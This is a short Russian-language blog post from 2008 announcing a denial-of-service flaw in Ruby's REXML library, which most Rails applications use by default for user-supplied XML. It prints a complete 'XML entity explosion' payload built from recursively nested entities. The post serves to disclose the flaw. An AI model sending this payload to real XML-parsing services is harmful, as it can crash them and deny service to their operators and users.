суббота, 8 ноября 2008 г.

DoS уязвимость в REXML

Найдена DoS уязвимость в библиотеке REXML, включенной в стандартную библиотеку Ruby. Так называемая "XML entity explosion" техника атаки может применяться для удаленного отключения любого приложения, парсящего пользовательский XML с использованием REXML.

Большинство Rails-приложений будут уязвимы, поскольку Rails парсит XML предоставляемый пользователем, используя REXML по умолчанию.

Атакующий может вызвать отказ от обслуживания (DoS) заставив REXML парсить документ, содержащий рекурсивно вложенные сущности, например:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE member [
<!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">

<!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">

<!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">

<!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
]>
<member>
&a;
</member>

Подробнее на английском: DoS vulnerability in REXML

0 Комментариев :

Отправить комментарий

Жги!